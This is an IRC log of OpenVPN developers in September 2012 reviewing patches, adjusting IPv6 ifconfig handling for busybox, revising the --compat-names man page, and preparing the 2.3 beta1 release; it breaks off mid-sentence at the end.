<@cron2> so it will accept --pkcs12 together with private-key? 08:44 < plaisthos> cron2: only pkcs12 with external-key-management 08:44 < plaisthos> but this not good either ;) 08:45 <@cron2> so *that* check needs moar adjustment, then... 08:46 < plaisthos> yeah, I am at the moment looking through code if I should set priv_key_file to "EXTERNAL_PRIVATE_KEY" or fix all checks 08:47 <@cron2> setting priv_key_file to EXTERNAL_PRIVATE_KEY is what you had before, and that had other side effects again... 08:47 <@cron2> how many checks are there? 08:48 < plaisthos> I am trying to remember why you did not like my first patch 08:48 <@cron2> I think I found the way it added extra "magic file names" not very pretty, given that you have a flag as well 08:49 <@cron2> but I'm sure I wrote that to the list, so the archive should have it :) 08:49 <@cron2> (do you seriously expect a programmer to remember why he disliked another programmer's code, weeks after the fact? ;-) ) 08:50 < plaisthos> one for pkcs11-provider, one for pkcs12, one for cryptoapicert and one if key + cert are used together and one if you plan to use external-key-management with no pull 08:50 < plaisthos> the last one is a code path I just found %) 08:50 <@cron2> omg 08:59 < plaisthos> setting the magic filename would be less intrusive 08:59 <@cron2> but collides with the file name check - less intrusive, but comes with a smell 08:59 < plaisthos> yes :/ 09:01 <@dazo> I'd probably prefer less smell and rather an intrusive solution ... if it is an intrusive fix which solves it in a good way ... but of course, the less intrusive the better 09:04 < plaisthos> I will prepar a patch 09:11 <@d12fk> dazo: lets go 09:14 <@dazo> d12fk: I'm wondering about the compat_flags() function ... it's not a bad way ... but it is a bit confusing for me, and took me some extra cycles to fully catch how it works 09:15 <@dazo> in fact, the function is clever in many ways ... but so is the option parser ... I just wonder if compat_flags() is a little bit "over-engineered" 09:15 <@dazo> what took me time to realise was the importance of the COMPAT_FLAG_SET 09:16 <@d12fk> but how would the option parser help? 09:16 <@dazo> And then there is this bit-rotation you do, which I have not fully understood why you do 09:17 <@dazo> option parser was just a parallel ... it's really cleverly written ... but it takes quite some time to wrap your head around it 09:17 <@d12fk> it's juyt the bit for setting 09:17 <@d12fk> #define COMPAT_FLAG_SET (1<<0) 09:17 <@dazo> ahh, so you remove the COMPAT_FLAG_SET 09:17 <@d12fk> yes 09:18 <@dazo> and I see in option.c you use COMPAT_FLAG_QUERY ... but not in the ssl_*.c functions ... well, it's defined a 0, so it doesn't change anything 09:18 <@d12fk> indeed 09:18 <@d12fk> query is optional 09:18 <@dazo> but from a code reading point of view, I feel it makes it a bit harder to catch 09:18 <@d12fk> i use it in the file because _set is used as well 09:18 <@dazo> ahh, I see 09:20 <@dazo> I'm just not sure I see the benefit of compat_flag() over a global variable ... 09:21 <@d12fk> the interface is defined 09:21 <@d12fk> other than that, none 09:22 <@dazo> I pondered if compat_flags(int set_flags, int flags) would be better ... where set_flag takes the COMPAT_FLAG_SET role ... and then you would basically skip the rotation ... but then you're back at having a global variable ... even though, with a defined API 09:23 <@dazo> it's the mixture of "operation" flag and "value" flags which I find a bit confusing 09:26 <@d12fk> hm, could use masks instead 09:26 <@dazo> masks? 09:26 <@d12fk> but then theres not that many flags really 09:26 <@d12fk> yeah, use the upper 16bit for ops and the lower 16 bit for flags 09:27 <@d12fk> and the (flags & op_maks) == COMPAT_FLAG_SET 09:27 <@dazo> ahh, yeah ... well, you're right ... it's not many flags, and won't be many flags 09:27 <@d12fk> and it's temporary (i still hope) 09:28 <@d12fk> maybe masks would be recognized more easily 09:28 <@d12fk> as it's a rather std. concept 09:28 <@dazo> yeah 09:29 <@dazo> and maybe just add some kind documentation/comments close to the compat_flags() function to describe it would help as well 09:29 <@d12fk> otoh compat flags can grow this way 09:30 <@dazo> the code itself is dead simple, and esp. when you realise the COMPAT_FLAG_{QUERY,SET} operators ... but it took me a bit longer to catch that 09:30 <@d12fk> not if we spend to much on the binary operation set/read 09:31 <@dazo> Just thinking aloud ... the "compat" name doesn't need to be only related to this specific char remapping feature ... maybe it's something which could be used for other compat features later on? 09:32 <@dazo> not that I have a good suggestion what that could be right now ... but compat issues isn't something we won't ever see again 09:35 <@d12fk> could be, but i'd rather blow the code up when there's actual need for more 09:36 <@dazo> yeah, dead functions is something we've already killed off more times :) 09:36 <@dazo> (but such a clean-up can be reverted if needed contained well enough and needed later on again) 09:39 < plaisthos> I sent a patch to the mailing list with the extra checks 09:43 <@dazo> plaisthos: you do know we try to kill all those #ifdef's !?!? ;-) 09:43 <@dazo> (okay, it makes some sense here though :)) 09:43 < plaisthos> dazo: yes :( 09:44 < plaisthos> dazo: I thought about putting all ifdefs in one block but decided against it 09:44 <@dazo> yeah, I see that could be tricky 09:45 < plaisthos> The sum of boolean comparision is one these madness or brilliancy code again :) 09:49 <@dazo> Yeah .... 09:59 <@dazo> ugh ... James have added a new commit to his SVN tree ... :/ ... adding a new undocumented option .... :( 10:03 <@mattock> hmm, we have an expression in Finnish which translates roughly to "go over the fence where it's lowest"... I think James is and has been 10:03 <@mattock> doing that for a long while 10:03 <@mattock> who needs documentation anyway? :) 10:04 <@dazo> hehe 10:05 <@dazo> I've just pushed out the updated svn/AS-2.1 branch ... it's commit a60c8691422e4eb4f692daa1e09829178a2d98f3 10:12 < plaisthos> dazo: where is the branch? on the main openvpn git repo? 10:12 <@dazo> plaisthos: openvpn-testing.git 10:12 <@dazo> on sf.net 10:13 -!- grossjo [~grossjo@96.45.197.22] has joined #openvpn-devel 10:13 < plaisthos> dazo: thanks 10:14 <@dazo> you're welcome! 10:17 < grossjo> !snapshots 10:17 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 10:18 < plaisthos> The remote-overide is rather strange feature .... 10:21 <@dazo> yeah, it is 10:21 <@dazo> I'm not going to pick it up yet 10:23 < plaisthos> overrides the hostname of all remote options that follow the override-remote. I have no idea when someone would need this ... 10:24 <@dazo> sounds like a gui requirement ... for some odd reasons 10:26 < plaisthos> yes 10:26 < plaisthos> I stared long enough on OpenVPN code for today, time to get out, bye :) 10:30 * dazo feels sorry for the guy who re-implemented a feature we already had ... 10:31 <@mattock> dazo: undocumented feature? 10:32 <@dazo> nope, this time James had documented it too 10:32 <@ecrist> what feature was that? 10:32 <@dazo> --client-nat 10:32 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/7047 10:32 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:33 <@dazo> 8 files changed, 333 insertions(+), 2 deletions(-) .... it's not even a small contribution 10:43 <@ecrist> you'd think, with that much work in the code, he's have noticed there was something there already 10:44 <@dazo> yeah ... however, it's a new 2.3 feature, so it might not have been that known ... however ... checking the code or asking around first is usually a good idea :) 11:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:21 <@dazo> d12fk: okay, your time to be critical ;-) http://www.fpaste.org/7Tsm/ ... my version of your patch ... mostly documentation and adding COMPAT_FLAG_QUERY for explicitness 11:27 <@d12fk> just the comments? 11:28 <@dazo> mostly comments ... but also adding COMPAT_FLAG_QUERY ... in ssl*.c files 11:28 <@d12fk> no problem with that 11:30 <@dazo> okay, I'll submit a patch to ML for final review then ... and maybe cron2 got a few spare cycles to review it? It'll be a double ack ... since I've modified the patch slightly 11:30 <@d12fk> maybe you could talk about true or false returned by compat_flag() 11:31 <@d12fk> as it say bool in the sig 11:31 <@d12fk> even if your version is more humble =) 11:31 <@dazo> well ... bool isn't necessarily bool .... #define bool int 11:32 <@dazo> or wait ... that might have been before stdbool.h 11:32 <@d12fk> no issue there 11:34 * dazo just looked at stdbool.h ... and wonders what the point is .... 11:34 <@dazo> #define bool bool 11:34 <@dazo> #define false false 11:34 <@dazo> #define true true 11:34 <@dazo> (okay, that's in the block for C++ compilers ... but still ......) 11:35 < noshadow> dazo: #define xyz xyz is usually there to make sure things looking if it is defined actually seeing it even though it is not a define but something native. 11:37 <@dazo> so it's a shortcut to avoid a more massive #ifdef xyz / #ifndef xyz ... section ... to be sure it is defined as expected? 11:38 < noshadow> dazo: it also gives a warning if it is already defined 11:39 <@dazo> ahh, yeah, that makes sens 11:39 <@dazo> e 12:13 -!- dazo is now known as dazo_afk 12:23 <@cron2> dazo: in C++, things are weird :) 13:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:25 -!- grossjo [~grossjo@96.45.197.22] has quit [Ping timeout: 260 seconds] 14:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:33 <@cron2> gah 15:34 <@cron2> openwrt compiles openvpn-devel-openssl with --disable-iproute2 by default, and their ifconfig is too stupid to understand IPv6, so tunnels with ipv6 config pushed fail hard 15:38 < plaisthos> ouch 15:39 <@cron2> indeed 15:40 <@cron2> the package maintainer is really option-happy, and has added a "make menuconfig" item for just about every configure option openvpn has - but the defaults are not useful for pre-built binary packages... 15:40 <@cron2> *sigh* 15:40 < plaisthos> lol 15:41 * cron2 mentions in passing that we have way too many configure options... :-/ 15:41 * plaisthos seconds that 15:46 < plaisthos> cron2: did you file a bug report? 15:48 <@cron2> sent a mail to openwrt-devel + maintainer before coming here to rant :-) 15:48 <@cron2> off to bed now... 15:49 < plaisthos> cron2: good night 18:08 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 18:11 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:11 -!- mode/#openvpn-devel [+o andj] by ChanServ 22:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 22:36 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 248 seconds] 22:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Sep 11 2012 03:56 <@cron2> gaaaaaaah 03:56 * cron2 hates linux 03:56 <@cron2> gentoo ifconfig accepts 03:56 <@cron2> "ifconfig eth0 inet6 add 2001:608:4:ee0::1:3/64" 03:56 <@cron2> *and* 03:56 <@cron2> "ifconfig eth0 add 2001:608:4:ee0::1:3/64" 03:57 <@cron2> openvpn uses the first variant, busybox only accepts the second one 03:58 * cron2 is tempted to change openvpn tun.c to adapt to version 2, but does not want to break "older supported linuxes" 03:58 <@cron2> dazo: do you have time to quick-test that on one of your vintage RedHat systems? 04:27 -!- dazo_afk is now known as dazo 04:29 <@dazo> cron2: sure! how ancient do you want it? RHEL4? RHEL5? 04:31 <@dazo> I have CentOS5 boxes instantly available ... and can get cleanly installed RHEL4 within 30 min or so 04:32 <@cron2> what is the oldest one we support? 04:32 <@dazo> RHEL5 nowadays, as 4 is being phased out everywhere 04:33 <@cron2> ok, so please test on an RHEL5 box whether 04:33 <@cron2> "ifconfig eth0 add 2001:608:4:ee0::1:3/64" 04:33 * dazo notices this in the man page for ifconfig on CentOS5 04:33 <@dazo> add addr/prefixlen 04:33 <@dazo> Add an IPv6 address to an interface. 04:33 <@cron2> will do that - adding an IPv6 address to eth0 04:33 <@cron2> for some reason, the current code calls "ifconfig eth0 *inet6* ...", so it must have been in "a man page" 3 years ago... 04:34 <@dazo> that worked without any issues on EL5 04:34 <@dazo> so did replacing add with del 04:34 <@cron2> ok, please remove again with "ifconfig eth0 del 2001:608:4:ee0::1:3/64" :-) 04:34 <@cron2> ah 04:34 <@cron2> thanks 04:34 <@dazo> you're welcome! 04:34 <@cron2> it also worked on Debian Squeeze 04:34 < noshadow> dazo: look more at the start, is it "ifconfig [-v] interface [aftype] options"? 04:35 <@dazo> I can add aftype and see how that fares 04:36 <@cron2> well, that's what we have, "ifconfig eth0 inet6 ...", but *that* does *not* work on busybox/openwrt 04:36 <@dazo> ahh, okay ... well, for the record, that works as well 04:36 <@cron2> so I'm considering to drop that "inet6" here, to make the same code work everywhere 04:36 < noshadow> at least on debian that inet6 aftype is optional. No idea if there was a version in the past that needed that option for this case, or if that being there in openvpn is just to be sure... 04:37 <@cron2> I can't remember whether I put it there "because it was in the manpage" or "because it was needed". Nearly 3 years ago... 04:37 * dazo suspect the former :) 04:39 < noshadow> it's still in the manpage (as optional argument to specify the address family), but I do not think it was never needed. 04:39 < noshadow> s/never/ever/ 04:40 <@dazo> maybe it was in the early days where people thought ipv6 addresse would be x.x.x.x.x.x.x.x.x.x...... :-P 04:41 < noshadow> dazo: even then the difference of address vs. add should have made that explicit. 04:41 <@cron2> yeah 04:41 <@dazo> yeah 04:41 * cron2 will change tun.c and send a patch 04:43 * noshadow is a bit suprised there are still non-iproute systems out there... 04:43 <@dazo> noshadow: we discovered it's mostly Linux which got iproute .... *BSD does not at all 04:44 <@cron2> openwrt has ifconfig built into busybox, and "ip" is a distinct package - so for space savings, they like us to use ifconfig 04:46 <@dazo> noshadow: would you have a few spare cycles to review a patch? http://thread.gmane.org/gmane.network.openvpn.devel/6988/focus=7051 ... if you find it good, please just send an 'ACK' to the mailing list, and that's it 04:46 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 04:47 <@dazo> cron2: and noshadow got a patch on the ML too, iirc .... I think you two discussed it ... so if you could ack that, that'd be great :) http://thread.gmane.org/gmane.network.openvpn.devel/7043 04:47 <@cron2> ok, it also works on debian lenny, so I think removing it is save 04:47 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 04:47 <@cron2> dazo: it's sitting in my "review for side effects" queue 04:47 <@dazo> cool! 04:47 <@cron2> it *looks* harmless :-) 04:47 <@dazo> that's my thought as well 04:48 < noshadow> dazo: the description in the manpage is hard to understand. 04:50 < noshadow> dazo: assuming no-remapping is a literal, why doesn't it have \- ? 04:50 <@dazo> FYI: I'll pull in ACKed stuff on ML today ... and this ifconfig patch .... and the workaround I sent in the weekend (James replied with "Patch looks reasonable" - but with some further ideas; that's for a later fix) ... and if noshadow's patch is ACKed, that'll go in too ... then we have beta1 04:50 <@dazo> noshadow: it's now an extra option to --compat-names 04:50 <@dazo> so: --compat-names no-remapping 04:51 <@cron2> dazo: I'm testing "ifconfig without inet6" right now 04:51 < noshadow> dazo: I think you want \- to avoid some man parsers to creaty a hyphen (non-ASCII) instead of a hyphen-minus (ASCII) 04:53 < noshadow> and the description really fails the "I can understand this without reverse-engineering how I could describe some feature when having understood and implemented it" check. 04:53 <@dazo> noshadow: it's a common way in openvpn already ... look at --socket-flags, --http-proxy-option, --client-nat, --mtu-disc, --redirect-gateway, etc 04:53 <@dazo> oh! you mean the man page!! 04:53 <@dazo> duh 04:54 <@dazo> you mean like this? 04:54 <@dazo> .B \-\-compat\-names [no\-remapping] 04:55 <@dazo> and .B no\-remapping 04:55 <@dazo> ? 04:56 < noshadow> dazo: yes. If you want I can also look at the implementation, but then I will no longer be qualified to review the manpage description. 04:57 <@dazo> we're not that strict ... I'm checking the earlier man pages now, to ensure the description is close enough 04:59 < noshadow> dazo: currently I don't really see how that manpage entry is better than no manpage entry. If you don't know what it does I do not think you'd know it after reading that one. 05:00 * dazo ponders on that ... and in fact the former man page was also not too clear 05:00 <@dazo> v2.2.2 man page on --no-name-remapping ... http://www.fpaste.org/xTzY/ 05:00 < noshadow> dazo: most of the current manpage is not very helpful, indeed. 05:00 <@dazo> :) 05:01 < noshadow> "Don't use this option unless you know what you are doing!" seems to be a good summary... 05:02 <@dazo> the first paragraph might need a little tweak to provide better understanding .... but the concept is that before v2.3 ... X.509 subject field was reported like: /C=US/L=Somewhere/CN=John Doe/emailAddress=john@example.com 05:02 <@dazo> while it now uses a standardised X.509 style: C=US, L=Somewhere, CN=John Doe, emailAddress=john@example.com 05:03 <@dazo> The latter one also supports UTF-8 characters ... while the former does not ... and if you use --no-name-remap, you might get something which looks like UTF-8 - but it might be other charsets as well 05:04 <@dazo> I can freshen up the man page a bit more 05:06 < noshadow> dazo: on first reading, the "With this option, .." paragraph looks like an actual description of what this option does, while judging from what you say, it is more an additional detail. 05:07 <@dazo> yeah 05:09 < noshadow> dazo: I assume that paragraph describes more what "no-remapping" does by saying what happens without it? If this is the case that could be said more explicitely. 05:10 <@dazo> yeah, agreed 05:11 < noshadow> to spell out how a first reader would understand it (I guess I'm already almost unqualified to redo this): the first paragraph looked like some intro, the second (With this) like an actual description of the option and the rest like what no-remapping does. 05:16 * noshadow is off to search for some food. 05:33 <@dazo> noshadow: My suggestion for the man page ... http://www.fpaste.org/GXde/ 05:54 <@dazo> Reworked it a little bit more ... http://www.fpaste.org/bsdP/ 05:57 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:58 <@d12fk> dazo: that patch you sent about push messages, will it terminate the permanent reconnects i experience with 2.3a3 due to ping timeouts? 06:00 <@dazo> d12fk: yeah ... at worst it will only try a few times (until the timeout) 06:02 <@dazo> what happens is that it's a session wide block which avoids sending duplicated PUSH_REPLY messages ... but it's not reset properly if it doesn't catch that the client does a reconnect 06:02 <@dazo> (or a "hard" reconnect ... "soft" reconnects usually indicates that the openvpn never stopped at the client side) 06:03 <@d12fk> so, the ping timeout must have another reason 06:04 <@dazo> well, it might be you've found another corner case of the same issue ... if your client sends PUSH_REQUEST endlessly, and the server just ignores it, it looks like the same issue 06:04 <@dazo> but it might be that my patch re-enables the bug James solved in his commit with this block 06:06 <@d12fk> hm, the tunnel is up when the USR1 happens, so it must have another reason 06:10 <@dazo> d12fk: can you try to check out commit a74b741b6114d29ad68766139dbcd9dfcf715c4a ... and see if that behaves better? 06:11 <@dazo> if it does, then try commit ff65da3a230b658b2c1d52dc1a48612e80a2eb42 ... that's the best way to see if it's the same root cause or not 06:11 <@dazo> (and it saves your from the bisecting ;-)) 06:11 <@d12fk> i think it might be related to a push-reset in a CCD file 06:11 <@d12fk> know more in 2 minutes 06:15 <@d12fk> ok just was a misconfig 06:15 <@d12fk> just starting with CCDs =) 06:26 <@dazo> ahh, okay :) 06:54 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 4a 5. 06:54 <@cron2> Test sets failed: none. 06:54 <@cron2> patch sent... 07:22 -!- Netsplit *.net <-> *.split quits: ender| 07:28 <@cron2> .oO(has anyone seen my patch? gmane shows it, but I'm missing my own copy...) 07:47 <@dazo> cron2: arrived in my inbox 07:47 <@cron2> good. Now it just needs an ack + commit :-) 07:48 <@dazo> :) 07:48 <@dazo> I'll take care of the ack when committing it, unless someone is quicker than me with the ack :) 09:14 <@d12fk> is it true that the BSDs don't have abstract unix sockets? 09:14 <@d12fk> the man pages of free/net/openbsd don't mention a leading 0 in the path 09:15 * d12fk consulting the stevens 09:15 <@cron2> what is an abstract unix socket? 09:15 <@d12fk> one with an address in a virtual namespace 09:16 <@d12fk> linux netstat denominates these with a leadin @ 09:19 <@cron2> ah. dunno, never seen them (and I wouldn't know which manpage to look in, to be honest, as that stuff tends to be well-hidden :-/) 09:20 <@ecrist> crap, I just realized I never re-rolled the freebsd port for you, cron2. 09:20 <@cron2> ecrist: wait for beta1 :-) 09:21 <@ecrist> are we that close? 09:21 < noshadow> d12fk: I don't know about bsd, but I read that tying normal unix sockets to the filesystem (and making file system permissions affect them), is not universal. 09:21 <@cron2> ecrist: this week 09:23 < noshadow> dazo: your pastes times out. 09:23 <@dazo> ugh 09:23 <@ecrist> ah, then I'll wait for beta1. I was going to roll it today 09:24 <@dazo> noshadow: http://www.fpaste.org/UFSi/ try this one :) 09:25 <@ecrist> cron2: your linux inet6 patch? 09:25 <@dazo> if somebody could do the grammar check for me on that man page, that'd be great ... I'm not a native speaker 09:26 <@cron2> ecrist: the inet6 patch is on the list, and is in dire need of an ACK (but I think dazo is willing to ack it on the fly) 09:26 <@dazo> yupp 09:26 <@ecrist> it looks good to me 09:26 <@cron2> ecrist: the important blocker for beta1 was the PUSH_RESPONSE one that dazo found, and that's acked, so "we're ready to go" 09:26 <@ecrist> awesome 09:26 <@d12fk> "Another Linux specific feature is abstract names for unix domain sockets." - and i thought they copied it from solaris 09:26 <@cron2> indeed 09:27 <@dazo> it'll come a handful of patches to the git tree ... I'll try to get all settled by today ... and if buildbot is happy, I'll tag the tree 09:27 <@ecrist> afaik, *bsd uses regular files for them. (re: noshadow's concerns) 09:29 <@cron2> buildbot had some issues on OpenBSD last time, but those looked like local problesm with the VM (git was aborting with an error about "lock file found") 09:30 <@dazo> how is the diskspace on that box? 09:30 <@cron2> plenty 09:30 <@dazo> okay 09:30 < noshadow> dazo: a bit verbose, but I guess it is at least understandable now. (though I guess I am no longer qualified to check). Perhaps moving the "When using --compat-names option, " paragraph zu the beginning (with "old formatting" replaced with "pre-2.3 formatting")? 09:30 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 09:30 <@dazo> noshadow: good point 09:30 <@cron2> most of the builds succeeded, just two failed 09:31 <@ecrist> any major plusses to beta1 over alpha3, aside from bug fixes? 09:33 <@dazo> ecrist: bugfixes + --compat-names to provide a "backwards compat" for certificate checks and such 09:33 <@dazo> (that's the fpaste discussion with noshadow) 09:35 <@ecrist> I suppose I don't know that I cared so much about that particular patch 09:36 <@ecrist> that could just be ignorance, thogh. 09:36 <@ecrist> though. 09:39 <@dazo> ecrist: unless you use plug-ins or script hooks which parses the X.509 Subject field, you probably don't need to care 09:40 <@dazo> or use --tls-remote on clients ... on clients you need to modify from the old style to the new style though 09:40 <@ecrist> good, then I was correct. don't need/care. 09:40 <@dazo> but this may pretty much become a support issue ... so good to beware of the --compat-names feature anyway 09:43 <@ecrist> indeed 10:34 <@dazo> okay, v3 patch of d12fk patch is out ... this time with only man page updates in addition 11:09 <@cron2> afk for now... back at ~21:00 11:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 13:10 <@vpnHelper> RSS Update - testtrac: Fix reconnect issues when --push and UDP is used on the server <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5d4f5435a421299ed047485d8d99bdf9a0d22fd1> || make "ipv6 ifconfig" on linux compatible with busybox ifconfig <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=cae102ae0c2ff934c456cd584cbf87a33cd95206> || Add c 13:13 <@dazo> cron2: all the stuff except --compat-names have been applied and pushed ... if you can give your view on the --compat-names patch as well, I'll get that into the tree tomorrow ... and we can start looking at beta1 ... I would really like that one in, for beta1 13:16 -!- dazo is now known as dazo_afk 14:20 <@cron2> dazo: ok. I won't manage tonight, but please remind me if you don't hear from me tomorrow 15:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] --- Day changed Wed Sep 12 2012 03:11 -!- dazo_afk is now known as dazo 03:12 <@dazo> cron2: thx! 03:41 <@cron2> .oO(if we continue our release cycle, something that gets removed in v2.5 will effectively "life forever" in IT year units :) ) 03:41 <@cron2> live forever, even 03:42 <@cron2> what exactly was the reason for shifting around the bits in compat_flag()? 03:42 <@cron2> except for "save one bit slot" 03:49 <@vpnHelper> RSS Update - wishlist: Traffic Obfuscation to escape Deep Paket Inspection <http://forums.openvpn.net/topic11267.html> 03:53 <@cron2> "this smells overengineered" 04:47 <@dazo> cron2: hehe ... I bought the concept of having a clearer interface :) 04:48 < plaisthos> If I am really bored and have finished my other work and are really really bored I may implement distribute traffic over multiple socks @wishlist entry 04:48 <@dazo> agreed, our release cycle isn't ideal ... but with all of us having full time jobs which isn't including fixed amount of openvpn hacking time - I don't see how we can manage to improve it too much 04:49 <@dazo> plaisthos: wow! :) ... just wondering ... would SCTP work better? 04:50 < plaisthos> dazo: no idea what the DPI would make out of SCTP. 04:50 < plaisthos> dazo: have you read the traffic inspection wishlist? It sounds not like anything the socket code can do in any near future :) 04:51 <@cron2> dazo: why exactly would that change anything in the interface? 04:51 <@dazo> plaisthos: SCTP have support for multiple transfer channels through the same "pipe" ... to improve transfer rates .... and these transfer channels can go via different gateways, iirc 04:51 <@cron2> plaisthos: how can we bore you enough? :-) 04:53 < plaisthos> I hate git :( 04:53 <@cron2> dazo: just doing away with the bit shifting in compat_flag() would make it use "bit 1 and 2", instead of using "bit 0 and 1" now (to store the flags) 04:53 <@cron2> so when we reach 31 compat flags, it would get messy, having lost one bit slot at the start of the word... 04:54 < plaisthos> A git rebase abort just killed all my changes I wanted to commit (commit telling me I have to do git rebase abort first) 04:54 <@cron2> ugh 04:54 <@cron2> I hope you have a backup? 04:55 <@dazo> plaisthos: if you're lucky ... git fsck might list out some blobs which are "dangling" ... you might be lucky and find your changes there 04:55 <@dazo> otherwise than that ... I feel your pain .... 04:55 < plaisthos> hm 04:55 <@dazo> cron2: yeah, I agree ... I just didn't want to argue forever with d12fk ;-) ... as this will anyway get kicked out in the future 04:55 < plaisthos> my time machine backup might a not so old copy 04:57 <@cron2> while I love ranting about Apple, time machine is one of the best things they made - "built in, automatic, pain-free, and so easy that a normal user can use backups *and* restore" 04:58 < plaisthos> Yes. and the incremental backups every hour saves you when you did stupid things like me :D 04:59 <@dazo> I've been using boxbackup .... not as userfriendly ... but can take backup of changed files continuously 05:00 <@dazo> (the only "sad" thing is that it's not being developed much ... and not too enterprisey for larger installations) 05:02 <@cron2> plaisthos: exactly that. I do that manually via rsync 1x/day, and that's not half as convenient... 05:03 < plaisthos> I found a obscure bug in the socket code today 05:04 <@dazo> tell us!!! 05:04 < plaisthos> the addr_match code does not check for the af_inet/af_inet6 type of the addresses when comparing them 05:05 <@dazo> hmmm .... JJO bug :/ 05:05 < plaisthos> I don't know if you can construct a scenerio where this is actually a bug but nevertheless 05:07 <@dazo> I know the IPv6 transport is something we should have ... but I do regret accepting JJO's code a bit too easily ... even though, it does it's work most of the time, but would be great to have him hang around here 05:07 < plaisthos> yeah 05:07 < plaisthos> I am in the process of cleaning up some things :) 05:08 <@dazo> thx! :) 05:13 * cron2 is afraid 05:14 <@cron2> plaisthos' cleanup patches usually require quite some brains on my side to review... (which is good, as I usually learn a lot, but still...) 05:18 < plaisthos> The goal is to have useful dual stack 05:18 < plaisthos> and going there requires quite a few cleanups/rewrites :/ 05:32 <@cron2> I fully support that goal (as far as time+brains permit), I was just joking :-) 05:32 < plaisthos> kernel: [607946.951780] openvpn[23512]: segfault 05:32 < plaisthos> my patch needs work :p 05:42 <@cron2> sounds like it :-) 05:43 <@cron2> dazo: so what's your plan for vacation? Long journey, leave all electronics behind? 05:44 <@dazo> cron2: first a long weekend in Tromsø (North Norway) to cool down .... and then to Malaga for 2 weeks to get warm again :) 05:45 <@dazo> I'll have a laptop with me, in case some systems I am responsible collapses .... but my plan is to avoid that laptop as much as possible :) 05:48 <@dazo> hmmm .... 05:48 * dazo is impressed by Python .... 05:48 <@dazo> >>> s = "Testing 123" 05:48 <@dazo> >>> s.encode('base64') 05:48 <@dazo> 'VGVzdGluZyAxMjM=\n' 05:49 <@dazo> >>> type(s) 05:49 <@dazo> <type 'str'> 06:05 * plaisthos is not sure if that irony or not 06:57 <@dazo> not at all ... I didn't know the string type in Python could do base64 encoding and decoding :) 06:59 < plaisthos> iirc that is depracted 07:00 < plaisthos> you can do something like # -*- coding: rot13 -*- in the header of the python file and the rest of the file is read as rot13 encoding 07:00 < plaisthos> but in python 3.0 iirc the decode/encode only accept real charsets 07:01 <@dazo> hmmm how is that related? I have a string with binary data which I want to save as base64 data ... so, then I do s.encode('base64') ... is that deprecated? 07:03 < plaisthos> iirc yes 07:04 <@dazo> grmbl 07:04 < plaisthos> but I am not sure give me a minute 07:04 < plaisthos> dazo: you can always use base64.encodestring 07:05 <@dazo> yeah 07:06 < plaisthos> hm http://docs.python.org/library/codecs.html does not list them as depracted 07:06 <@vpnHelper> Title: 7.8. codecs — Codec registry and base classes Python v2.7.3 documentation (at docs.python.org) 07:10 < plaisthos> I can't find the reference that this is depracted but in 3.2 it does not work 08:09 <@dazo> cron2: thx for the ACK .... running 'make check' and then I'll push it out 08:10 <@dazo> and if buildbot is happy ... it's time to tag the beta1 release! 08:28 <@vpnHelper> RSS Update - testtrac: Add --compat-names option <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e7412ca3eee2f2a2fb0af5acbe968137cfd7e995> 08:33 <@dazo> hmm ... can't get access to buildbot :/ 08:34 <@dazo> hmm ... needed to reconnect .... odd 08:45 <@cron2> did buildbot do anything yesterday? I haven't seen any failures... :-) 08:54 <@dazo> from what I can see, it hasn't done anything in a while :/ 08:55 <@dazo> hmm ... there are some inconsistency in what I see .... 08:55 * dazo clears cache 09:02 <@dazo> uhm ... there must be some IP conflicts with buildbot ... I could ssh into it ... and then I was kicked out, and next time I connect I get a different SSH fingerprint 09:04 * dazo gives up ... buildbot doesn't respond to ping again 09:05 <@cron2> 2012-08-15 21:35:08+0300 [Broker,client] Lost connection to 10.7.36.101:9989 09:05 <@cron2> 2012-08-15 21:35:08+0300 [-] Main loop terminated. 09:05 <@cron2> 2012-08-15 21:35:08+0300 [-] Server Shut Down. 09:05 <@cron2> indeed 09:06 * cron2 looks for mattock... 09:06 <@dazo> I'm writing an e-mail now 09:07 <@cron2> (can't look at the overview page right now, but if my slaves are down, that's not so good either) 09:09 <@dazo> that date matches what I saw, when I saw something 09:09 <@dazo> it was a long time ago :/ 09:44 <@dazo> Btw ... changelog for the beta: http://www.fpaste.org/LQ2C/ 11:07 < plaisthos> dazo: If we have something that is 2.3beta1 I will update the Android client to that version as well 11:15 <@dazo> plaisthos: it's not officially a beta1 yet ... but if buildbot is all green, the current git tree is what will become beta1 - only the modification to version.m4 and ChangeLog is lacking 11:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:15 <@cron2> hmmm, looks like this "Arne Schwabe" guy was really busy for beta1 :-) 12:16 < plaisthos> :D 12:17 < plaisthos> Apart from the 